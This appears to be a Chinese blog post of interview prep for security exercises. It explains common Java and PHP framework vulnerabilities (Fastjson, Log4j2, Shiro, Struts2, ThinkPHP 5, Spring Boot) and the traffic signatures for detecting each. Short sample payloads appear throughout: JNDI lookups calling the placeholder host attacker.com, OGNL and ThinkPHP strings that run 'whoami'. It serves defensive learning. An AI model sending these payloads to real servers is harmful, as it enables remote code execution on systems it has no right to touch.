2025HW面试题【3】——常见框架漏洞

0.前置知识补充:JNDI 注入攻击

JNDI(Java Naming and Directory Interface)是 Java 提供的一个用于访问和操作目录服务的 API。JNDI 可以通过不同的协议(如 LDAP、RMI、DNS 等)查找并加载远程对象。它为 Java 程序提供了一种统一的方式来访问命名资源,如数据库连接池、远程服务等。

JNDI 注入攻击 发生在应用程序将未经验证的用户输入作为 JNDI 请求的一部分时。攻击者通过向 JNDI 请求中注入恶意协议(如 ldap://attacker.com/malicious),迫使应用加载和执行远程的恶意 Java 类。这种攻击依赖于 JNDI 服务(如 LDAP 或 RMI)来加载远程类,从而使攻击者能够执行恶意代码。

OGNL 表达式的攻击原理  OGNL 允许动态地访问和修改对象的属性、调用方法等,如果不进行适当的过滤,攻击者就可以构造恶意的 OGNL 表达式,执行任意的 Java 方法,甚至系统命令。OGNL 表达式的注入通常通过 URL 或请求的参数传递,攻击者通过 %{} 格式将恶意的 OGNL 表达式插入到请求中。以下是常见的攻击步骤和 Payload 示例:

%{T(java.lang.Runtime).getRuntime().exec('whoami')}
%{}:这是 OGNL 表达式的标志,表示执行一个 OGNL 表达式

1. Fastjson 反序列化漏洞

  • 漏洞原理:Fastjson 是一个 Java 序列化/反序列化工具,允许 JSON 数据被转换为 Java 对象。攻击者通过构造恶意 JSON Payload,利用 @type 字段来指定一个恶意的类,并在反序列化时执行远程代码执行(RCE)攻击,实质上是一种JNDI 注入攻击。
  • 流量特征
    • 特定字段:JSON 数据中包含 @type 字段,指向恶意类,常见有 LDAP、RMI 等协议地址。
    • HTTP 请求方法:通常使用 POST 请求发送恶意 JSON 数据。
    • 请求头Content-Typeapplication/json,表明请求体是 JSON 格式数据。
  • 示例 Payload
    {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "ldap://attacker.com/malicious",
      "databaseName": "exploit"
    }
    
    这将触发 Fastjson 加载恶意类并执行远程命令。

2. Log4j2 反序列化漏洞

  • 漏洞原理:Log4j2 是一个常用的 Java 日志框架,存在远程代码执行漏洞。攻击者可以构造包含 jndi:ldapjndi:rmi 等协议的日志数据,从而通过 JNDI 注入进行 RCE。
  • 流量特征
    • 特定关键词:请求正文或日志中包含 ${jndi:ldap://attacker.com/malicious},表示恶意的 JNDI 注入。
    • 请求方法:通常为 POST 请求。
    • 请求头:Content-Type 字段为 application/json,因为攻击载荷是 JSON 格式的。
  • 示例 Payload
    {
      "log": "${jndi:ldap://attacker.com/malicious}"
    }
    
    利用 Log4j2 配置中 JNDI 注入漏洞,攻击者可以通过日志配置中的 JNDI 地址触发恶意连接。

3. Apache Shiro 反序列化漏洞

  • 漏洞原理:Apache Shiro 是一个 Java 安全框架,处理 RememberMe Cookie 时存在反序列化漏洞。攻击者通过构造恶意的 RememberMe Cookie,可以绕过安全控制并执行任意代码。

  • 流量特征

    • 特定字段:恶意请求包含 RememberMe Cookie,该 Cookie 包含通过 AES 加密后 Base64 编码的数据。
    • 请求方法:通常为 POST 请求。
    • 请求头:包含 Cookie 字段,存储恶意的 RememberMe cookie。
  • 漏洞利用流程

    1. Payload 构造:攻击者先构造恶意数据并进行序列化。
    2. AES 加密:利用 Shiro 默认的 AES 密钥对数据进行加密。
    3. Base64 编码:将加密后的字节流进行 Base64 编码,作为 Cookie 值。
    4. 发送请求:将包含恶意 RememberMe Cookie 的请求发送到服务器,触发反序列化漏洞。
  • 示例 Payload

    RememberMe=Base64EncryptedData
    
  • Shiro 550/721 版本攻击

    • Shiro 550:利用已知的密钥碰撞攻击,无需真实的 RememberMe Cookie,只需要攻击者能利用密钥库进行碰撞。
    • Shiro 721:AES 密钥不再硬编码,攻击者可以利用有效的登录后 Cookie 值通过 Padding Oracle Attack 进行破解。

4. Struts2 OGNL 远程命令执行

  • 漏洞原理:Struts2 是一个常用的 Java Web 框架,OGNL(Object-Graph Navigation Language)表达式在处理输入时未进行适当的过滤,攻击者可以通过构造恶意的 OGNL 表达式进行命令执行攻击。
  • 流量特征
    • URL 特征:攻击的 URL 通常以 .do.action 结尾。
    • Payload 格式:攻击者构造包含 OGNL 表达式的 URL,常见的 payload 格式是 %{},例如 exec() 命令。
    • 执行函数:攻击者构造的 OGNL 表达式通常包含类似 exec()_memberAccess 等函数。
  • 示例 Payload
    /action.do?param=%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].setHeader('X-Injected','true')}
    

5. ThinkPHP 5 反序列化漏洞

  • 漏洞原理:ThinkPHP 5 框架的某些函数(如 call_user_func_arrayphpinfo)存在反序列化漏洞,攻击者可以通过构造恶意的输入进行远程命令执行。
  • 流量特征
    • 特定函数:攻击者利用 call_user_func_arrayexecute 等函数执行恶意代码。
    • Payload 格式:常见 payload 是通过构造变量 vars[0]=system&vars[1][]=whoami 来触发系统命令执行。vars[0]=system&vars[1][]=whoami来触发系统命令执行。
    • vars[0]=system&vars[1][]=whoami
      

6. Spring Boot 信息泄露与命令执行漏洞

  • 漏洞原理:Spring Boot 是一个流行的 Java Web 框架,可能存在信息泄露或命令执行漏洞。攻击者可能通过信息泄露接口获取敏感数据,或通过构造请求执行远程命令。
  • 流量特征
    • 信息泄露:页面泄露敏感信息,如路由列表、/v2/api-docs 等。
    • 命令执行:通过 execgetRuntime 等函数执行命令。
  • 示例攻击
    • 获取路由列表:

      GET /v2/api-docs
      
    • 执行系统命令:

      exec("whoami")
      
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值